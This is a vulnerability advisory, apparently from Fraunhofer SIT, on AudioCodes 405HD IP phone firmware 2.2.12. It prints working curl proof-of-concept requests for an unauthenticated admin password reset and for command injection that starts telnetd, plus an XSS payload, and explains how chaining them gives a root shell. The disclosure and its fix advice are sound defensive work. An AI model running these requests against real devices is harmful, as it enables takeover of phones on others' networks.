Fraunhofer SIT

1. Summary

Vendor: AudioCodes

Product: AudioCodes 405HD

Affected Version: Firmware 2.2.12

CVSS Score: 9.6 (Critical)
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:U/CR:H/IR:H/AR:H/MAV:A/MPR:H/MUI:N/MS:C/MC:H/MI:H/MA:H)

Severity: high

Remote exploitable: yes

The firmware of the AudioCodes 405HD IP phone contains several vulnerabilities, which would allow an attacker to control the device. The attacker only has to be in the same network. To get a remote shell on the device a concatenation of two vulnerabilities is required.

Admin password change without authentication (vulnerability 1):

The web interface requires an admin password to modify any device settings. It is also possible to change the default password via web interface (POST request). This password change can be triggered without any authentication and therefore without knowing the previous (original) password. The following POST request (proof of concept) can be triggered by everyone in the same network as the attacked device.

```
curl -i -s -k -X  'POST'  \

 -H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0)
Gecko/20100101 Firefox/39.0'  -H 'Pragma: no-cache'  -H 'Cache-Control: no-
cache'  -H 'Content-Type: application/x-www-form-urlencoded'  -H 'Content-
Length: 33'  -H 'Referer:
http://10.148.207.249/mainform.cgi/System_Auth.htm'  -H ''  \

--data-binary $'NADMIN=admin&NPASS=pass&NCPASS=pass' \

'http://10.148.207.249/mainform.cgi/System_Auth.htm'
```

The curl[1] command sends a POST request and the parameter values for changing the admin password. In the proof of concept the original password will be changed to the value "pass".

Command injection (vulnerability 2):

The web interface contains different diagnostic functions (e.g., monitoring or memory status). The web interfaces trigger system commands within the IP phone like `ping`, `traceroute` or `cat /proc/meminfo`. The input values are forwarded to the `command.cgi` as a value. Internal the `cgi` script only checks the prefix of the command but not if there are additional commands or further inputs (not sanitized correctly). For the `cat` command an attacker can manipulate the request and for instance replace `the /proc/meminfo` with `/etc/passwd`. The bigger problem is the opportunity to concatenate commands. An authenticated attacker can inject arbitrary system commands by appending it with a "`;`" at the end of the input value.

[1] https://curl.haxx.se/

The following curl command demonstrates the activation of the `telnet` daemon:

```
curl -i -s -k -X  'GET'  \

 -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0'  -H 'Accept: */*'  -H 'Accept-Language: en-GB,en;q=0.5'  -H 'Referer: http://10.148.207.249/mainform.cgi/Monitoring.htm'  -H 'Authorization: Basic YWRtaW46cGFzcw=='  -H 'Connection: keep-alive'  -H ''  \

'http://10.148.207.249/command.cgi?ping%20-c%204%20127.0.0.1;/usr/sbin/telnetd'
```

Cross site scripting, XSS (vulnerability 3):

Different input fields in the web interface are not sanitized correctly. JavaScript input in the contact name field (in "Personal Settings") or the domain name field (in "Network Connections" – "Network Settings") will be executed in the web browser.

The following input `<script>alert("XSS");</script>` in the contact name field or domain field will be executed.

2. Impact

Remote shell and code execution without authentication:

The combination of vulnerability 1 and vulnerability 2 will allow an attacker, who has access to the device network to open a remote root shell without authentication. Using the exploit described in the first vulnerability would allow the attacker to set an arbitrary admin password. After that, the attacker knows the password, and he can use vulnerability 2 to start the `telnetd` service on the device. Then he can login as admin with the preset credentials and he will get a shell with root privileges.

The web server is running as root and will therefore execute every injected command as root.

XSS Injection without authentication:

Also the vulnerability 3 (XSS) can be injected in different ways. If an attacker controls the DHCP server of the network, or may achieve to set up an own DHCP server, he may inject JavaScript defined as domain name to the device. If an administrator or user opens the web interface the JavaScript code is will executed. Another injection way for the JavaScript code can be the address book or the device configuration file. If a user loads one of such manipulated files, the script will be executed in the web interface.

3. Workaround

Blocking the telnet port to the device via firewall is only a weak workaround, because the attacker can also establish a reverse shell. A better workaround would be to limit/restrict the network access to the web interface in the corresponding network via firewall rules.

4. Possible fix

Implementation of sanitization checks. All external input must be verified and rejected/ sanitized before it will be handed over to the .cgi interface or the browser (context of JavaScript). For instance in the context of name fields the restriction to letters and digits would be a good solution. But this verification must be handled on server side, not as JavaScript (client side)!

Further the web server should not run in privileged mode (root), only as a restricted user.


Fraunhofer
SIT